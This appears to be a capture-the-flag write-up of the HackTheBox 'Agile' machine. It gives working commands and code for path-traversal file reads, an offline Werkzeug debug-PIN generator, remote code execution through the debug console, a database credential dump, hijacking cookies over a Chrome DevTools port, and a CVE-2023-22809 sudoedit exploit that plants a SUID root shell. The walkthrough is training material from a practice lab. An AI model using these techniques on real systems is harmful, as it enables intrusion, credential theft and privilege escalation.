HTB: Agile Writeup

Agile - HackTheBox Writeup

Machine Information

AttributeDetails
NameAgile
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.228.212
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Agile hosts a password-manager web app (“SuperPassword”) behind the vhost superpass.htb. The vault’s CSV export flow passes a filename straight into a /download?fn= parameter, giving Arbitrary File Read. That same /download endpoint, when hit without a valid filename, throws an unhandled Flask exception and surfaces the unauthenticated Werkzeug interactive debugger — protected only by a PIN derived from local machine state. The AFR bug is enough to read every ingredient needed to recompute that PIN offline, unlock the debug console, and get command execution as www-data. From there, a database credential dump yields SSH access for corum. A second, test-only copy of the application is being exercised by an automated Selenium/headless-Chrome test runner with its DevTools protocol port left open; tunneling into it and reading the already-authenticated session hands over edwards’s credentials. edwards can sudoedit two files as dev_admin, and the target’s sudo build is vulnerable to CVE-2023-22809 — combined with a group-writable venv activate script, that turns into an arbitrary write as dev_admin, and a root-owned process later sources that same activate file, planting a SUID root shell.

TL;DR: CSV export filename → Arbitrary File Read → leak Werkzeug PIN ingredients → reverse the debug console PIN → RCE as www-data → DB creds → SSH as corum → pivot into an exposed Selenium/Chrome DevTools debug port → steal edwards’s vault password → CVE-2023-22809 sudoedit abuse against a group-writable venv activate → root.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -p22,80 -sV 10.129.228.212

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)

Only SSH and a web front end. The web app requires a vhost, so it was added locally alongside its test. counterpart, discovered later in the box:

Terminal window
echo "10.129.228.212 superpass.htb test.superpass.htb" | sudo tee -a /etc/hosts

Service Enumeration

http://superpass.htb is a Flask password-manager app called SuperPassword. The registration form only takes username and password:

Terminal window
curl -s -c /tmp/agile.jar http://superpass.htb/account/register | grep -iE "input|form"
# <input class="form-control" type="text" name="username" ...>
# <input class="form-control" type="password" name="password" ...>

Registering and logging in exposes a /vault page for storing site credentials, with an Export button that pulls the vault as CSV. Watching that flow shows it hits /vault/export, which redirects to a second endpoint:

/download?fn=<username>_export_<...>.csv

Passing a filename straight into a download endpoint via a GET parameter is a classic Arbitrary File Read smell.

Vulnerability Assessment

  • /download?fn= accepts a user-controlled path with no sanitisation — Arbitrary File Read.
  • /download with no (or an invalid) fn throws an unhandled exception, exposing the Werkzeug interactive debugger, PIN-locked but reachable pre-auth.
  • A second copy of the app at test.superpass.htb is driven by an automated Selenium test suite running headless Chrome with its remote-debugging port left open.
  • sudo 1.9.9 on the box is affected by CVE-2023-22809 (sudoedit arbitrary-file-write via EDITOR/SUDO_EDITOR argument injection).

Initial Foothold

Exploitation Path

1. Register and confirm the AFR bug

Terminal window
U=trx25894; P=Passw0rd123
curl -s -c /tmp/agile.jar -b /tmp/agile.jar -d "username=$U&password=$P" \
http://superpass.htb/account/register -o /dev/null -w "register:%{http_code}\n"
curl -s -c /tmp/agile.jar -b /tmp/agile.jar -d "username=$U&password=$P" \
http://superpass.htb/account/login -o /dev/null -w "login:%{http_code}\n"
# register:302, login:302 — session cookie now valid
curl -s -b /tmp/agile.jar "http://superpass.htb/download?fn=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# ...
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Directory traversal in fn reads arbitrary files as the web process user.

2. Trigger and analyze the Werkzeug debugger

Hitting /download without a valid filename throws a 500 and returns the Werkzeug debug page — protected by a PIN generated from a mix of public and private machine values (Werkzeug’s get_pin_and_cookie_name()). The PIN formula hashes:

  • probably_public_bits: running username, module name (flask.app/werkzeug.debug), app object name (wsgi_app/Flask/DebuggedApplication), and the path to Flask’s app.py.
  • private_bits: uuid.getnode() (the host’s MAC, as an integer) and the machine ID.

Since the AFR bug reads arbitrary files as www-data, every one of those values can be pulled straight off disk instead of guessed:

Terminal window
J=/dev/shm/agile.jar
rd(){ curl -s -b $J "http://superpass.htb/download?fn=../../../../$1"; }
rd "proc/self/environ" | tr '\0' '\n'
# USER=www-data
# CONFIG_PATH=/app/config_prod.json
rd "proc/net/arp"
# IP address HW type Flags HW address Mask Device
# 10.129.0.1 0x1 0x2 00:50:56:94:9b:51 * eth0
rd "sys/class/net/eth0/address"
# a2:de:ad:bf:b9:24
rd "proc/self/cgroup"
# 0::/system.slice/superpass.service
rd "etc/machine-id"
# <machine-id>

The Flask app.py path was visible directly in the debugger traceback: /app/venv/lib/python3.10/site-packages/flask/app.py.

3. Reverse the PIN offline

import hashlib
from itertools import chain
mac = int("a2deadbfb924", 16) # eth0 MAC, from /sys/class/net/eth0/address
machine = "<machine-id>superpass.service" # /etc/machine-id + tail of /proc/self/cgroup
combos = [
("flask.app", "wsgi_app"),
("flask.app", "Flask"),
("werkzeug.debug", "DebuggedApplication"),
]
for mod, appn in combos:
probably = ["www-data", mod, appn,
"/app/venv/lib/python3.10/site-packages/flask/app.py"]
private = [str(mac), machine]
h = hashlib.sha1()
for bit in chain(probably, private):
h.update(bit.encode() if isinstance(bit, str) else bit)
h.update(b"cookiesalt")
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
pin = "-".join(num[x:x+3] for x in range(0, 9, 3))
print(mod, appn, "->", pin)
flask.app wsgi_app -> 254-793-843
flask.app Flask -> 108-096-718
werkzeug.debug DebuggedApplication -> 315-667-210

4. Unlock the console and get RCE

The debug page’s error response also leaks the per-session SECRET needed for the pinauth call:

Terminal window
curl -s -b $J "http://superpass.htb/download" -o /dev/shm/dbg.html
grep -oE 'SECRET = "[a-zA-Z0-9]+"' /dev/shm/dbg.html
# SECRET = "83NJSbV8EZNV2xfe1IQz"
Terminal window
S=83NJSbV8EZNV2xfe1IQz
for PIN in 254-793-843 108-096-718 315-667-210; do
curl -s -b $J "http://superpass.htb/download?__debugger__=yes&cmd=pinauth&pin=$PIN&s=$S"
done
# 254-793-843 -> {"auth": true, "exhausted": false}

The flask.app / wsgi_app combination hit first try. With the console unlocked, arbitrary Python (and via os.popen, arbitrary shell) runs in the request/response cycle — no reverse shell needed:

Terminal window
FRM=139653023094080 # frame id from the debug page's traceback
curl -s -b $J --data-urlencode \
'cmd=__import__("os").popen("id; cat /app/config_prod.json").read()' \
"http://superpass.htb/download?__debugger__=yes&frm=$FRM&s=$S" -G
uid=33(www-data) gid=33(www-data) groups=33(www-data)
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

A direct mysql -u superpassuser -p'...' from the popen’d shell was rejected (Access denied ... using password: YES) — the $ in the password gets mangled by an extra layer of shell interpretation inside popen. Querying through pymysql from within the same Python console sidesteps shell quoting entirely:

Terminal window
PY='import pymysql;c=pymysql.connect(host="localhost",user="superpassuser",password="dSA6l7q*yIVs$39Ml6ywvgK",db="superpass");cur=c.cursor();cur.execute("SELECT * FROM passwords");str(cur.fetchall())'
curl -s -b $J --data-urlencode "cmd=$PY" \
"http://superpass.htb/download?__debugger__=yes&frm=$FRM&s=$S" -G
((3, ..., 'hackthebox.com', '0xdf', '762b430d32eea2f12970', 1),
(4, ..., 'mgoblog.com', '0xdf', '5b133f7a6a1c180646cb', 1),
(6, ..., 'mgoblog', 'corum','47ed1e73c955de230a1d', 2),
(7, ..., 'ticketmaster', 'corum','9799588839ed0f98c211', 2),
(8, ..., 'agile', 'corum','5db7caa1d13cc37c9fc2', 2))

corum’s stored password for site agile is the account’s own login credential.

Terminal window
ssh corum@10.129.228.212
# password: 5db7caa1d13cc37c9fc2
id
# uid=1000(corum) gid=1000(corum) groups=1000(corum)
cat /home/corum/user.txt
# <redacted>

Privilege Escalation

corum → edwards

Listing processes on the box shows a headless Chrome instance run by a runner account, driving Selenium tests against the test copy of the app, with its DevTools port exposed on localhost:

Terminal window
ps aux | grep remote-debugging-port
# runner 1127 ... /usr/bin/google-chrome --headless --enable-automation
# ... --remote-debugging-port=41829 --test-type=webdriver
# ... data:,

Since the port only listens on loopback, it’s tunneled over the existing SSH session (setsid used to keep the forward alive independent of the invoking shell, after a first backgrounded attempt died silently):

Terminal window
setsid sshpass -p '5db7caa1d13cc37c9fc2' ssh -o ExitOnForwardFailure=yes \
-N -L 41829:localhost:41829 corum@10.129.228.212 &
curl -s http://127.0.0.1:41829/json/version
# "Browser": "HeadlessChrome/108.0.5359.94"
curl -s http://127.0.0.1:41829/json
# [{"type":"page","url":"http://test.superpass.htb/", "webSocketDebuggerUrl":"ws://127.0.0.1:41829/devtools/page/7656CB4E2F37E8458605A2B4FD435692"}]

Directly instructing the page to Page.navigate to /vault returned a fresh, unauthenticated “Internal Server Error” — but the automated test runner’s own browser session was already logged in. Reading its cookies and reusing them from inside the page context (rather than trying to log in separately) got past that:

import websocket, json, time
ws = websocket.create_connection(WS_URL, max_size=None)
def cmd(method, params=None):
... # send {"id","method","params"}, wait for matching "id" reply
print(cmd("Network.getAllCookies"))
# remember_token = 1|f462f124a013e5fb2d760ce53f3102aeba6327 (domain test.superpass.htb)
# session = .eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HST (domain test.superpass.htb)
cmd("Runtime.enable")
r = cmd("Runtime.evaluate", {
"expression": 'fetch("/vault",{credentials:"include"}).then(r=>r.text())',
"awaitPromise": True, "returnByValue": True,
})
print(r["result"]["result"]["value"])

Fetching /vault in the page’s own JS context with credentials: "include" rides the already-authenticated session cookies straight through — no need to solve the login form at all:

<td>agile</td> <td>edwards</td> <td>d07867c6267dcb5df0af</td>
<td>twitter</td> <td>dedwards__</td> <td>7dbfe676b6b564ce5718</td>

edwards’s stored password for site agile is again the login itself:

Terminal window
ssh edwards@10.129.228.212
# password: d07867c6267dcb5df0af
id
# uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

edwards → root (CVE-2023-22809)

Terminal window
sudo -l
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
sudo -V | head -1
# Sudo version 1.9.9
ls -la /app/venv/bin/activate
# -rw-rw-r-- 1 root dev_admin 1976 Jul 21 09:06 /app/venv/bin/activate

Sudo 1.9.9 is vulnerable to CVE-2023-22809: sudoedit builds the editor command line from EDITOR/SUDO_EDITOR, and if that variable contains extra arguments (e.g. vim -- /some/other/file), those are appended after sudoedit’s own temp-file argument — letting the “editor” touch a second, attacker-chosen file with the target user’s privileges instead of only the one that was authorized. /app/venv/bin/activate is owned by root:dev_admin and group-writable, which is exactly the kind of file dev_admin can be tricked into overwriting:

cat > /tmp/ed.sh <<'EOF'
#!/bin/bash
for a in "$@"; do
case "$a" in
*activate*)
printf '\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash\n' >> "$a"
echo "PATCHED $a"
;;
esac
done
EOF
chmod +x /tmp/ed.sh
export EDITOR='/tmp/ed.sh -- /app/venv/bin/activate'
sudoedit -S -u dev_admin /app/config_test.json <<< 'd07867c6267dcb5df0af'
sudoedit: --: editing files in a writable directory is not permitted
PATCHED /var/tmp/activate.XXtAHj8R
sudoedit: /app/config_test.json unchanged

Two earlier attempts failed first: prefixing with sudo -S -u dev_admin sudoedit ... errored (sudoedit doesn't need to be run via sudo), and matching on the literal -- token instead of the filename picked the wrong argument. Matching by filename (*activate*) against the actual temp-file paths sudoedit passes to the editor fixed it — the payload lands in the temp copy of activate (/var/tmp/activate.XXtAHj8R), which sudoedit then writes back to /app/venv/bin/activate as dev_admin, appending:

Terminal window
cp /bin/bash /tmp/rootbash
chmod 4777 /tmp/rootbash

The box periodically has a root-owned process re-source that venv’s activate script; polling for the SUID drop confirmed it:

Terminal window
for i in $(seq 1 20); do
[ -f /tmp/rootbash ] && { ls -l /tmp/rootbash; break; }
sleep 5
done
-rwsrwxrwx 1 root root 1396520 Jul 21 09:11 /tmp/rootbash
Terminal window
/tmp/rootbash -p -c "id; hostname; cat /root/root.txt; cat /home/corum/user.txt"
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)
agile
<redacted>
<redacted>

Attack Chain Summary

Register/login on superpass.htb
→ CSV export flow reveals /download?fn= (Arbitrary File Read)
→ AFR leaks PIN ingredients (user, MAC, machine-id, cgroup, Flask app.py path)
→ Offline SHA1 PIN reversal (Werkzeug debug PIN algorithm) → 254-793-843
→ Unlock Werkzeug debug console → RCE as www-data
→ /app/config_prod.json → MySQL creds → dump passwords table
→ corum:5db7caa1d13cc37c9fc2 → SSH → user.txt
→ Selenium/headless-Chrome DevTools port 41829 (localhost only) → SSH tunnel
→ CDP: reuse authenticated test-runner cookies via in-page fetch("/vault")
→ edwards:d07867c6267dcb5df0af → SSH
→ sudo -l: sudoedit as dev_admin (sudo 1.9.9, CVE-2023-22809)
→ EDITOR arg-injection writes /app/venv/bin/activate (group-writable, dev_admin)
→ root-owned process sources activate → SUID /tmp/rootbash
→ /tmp/rootbash -p → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery on 22 and 80
curlRegistration/login, AFR traversal, debug console PIN-auth and RCE requests
python3 / hashlibOffline reimplementation of Werkzeug’s PIN-generation algorithm
pymysql (via debug console)Querying the superpass MySQL DB without shell-quoting the $-laden password
sshpass / sshNon-interactive SSH as corum/edwards, persistent local port-forward to the Chrome debug port
websocket-client (Python)Chrome DevTools Protocol client — cookie theft and in-page fetch() of /vault
Custom EDITOR wrapper scriptCVE-2023-22809 exploitation via sudoedit

Key Learnings

Techniques Practiced

  • Turning an Arbitrary File Read into full RCE by reversing a Werkzeug/Flask debug console PIN from leaked local files.
  • Using RCE-console-native language features (pymysql) to avoid shell-metacharacter mangling that broke a plain CLI credential.
  • Abusing an exposed Chrome DevTools Protocol debug port to ride an already-authenticated automated test session instead of needing its login credentials.
  • Exploiting CVE-2023-22809 (sudoedit EDITOR argument injection) against a group-writable virtualenv activate script to escalate to dev_admin, then riding a root-owned process to full root.

Lessons Learned

  1. Any endpoint that accepts a filename from the client is a traversal risk even when it’s “just” a CSV export helper — and a debug page’s own error traceback can leak everything needed to defeat its own PIN protection.
  2. A password containing shell metacharacters ($, *) can fail against a raw CLI invocation while working fine through a native DB driver — don’t assume “access denied” means the credential is wrong before ruling out shell quoting.
  3. CI/test automation that logs into an app headlessly and leaves its debugger port reachable is effectively a standing authenticated session for anyone who can reach that port.
  4. sudoedit’s temp-file naming isn’t positional in a way you can rely on — matching the target file by name inside an EDITOR wrapper is more robust than assuming argument order.
  5. Group-writable files that a privileged process later reads/sources (like a venv activate used by a cron/service) are a privesc primitive even without any code-execution bug in the file format itself.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox “Agile” official writeup — Prepared by TRX, Machine Author 0xdf (Document No. D23.100.247) — used here for the Werkzeug PIN algorithm background, the probably_public_bits/private_bits breakdown, and the CVE-2023-22809 identification.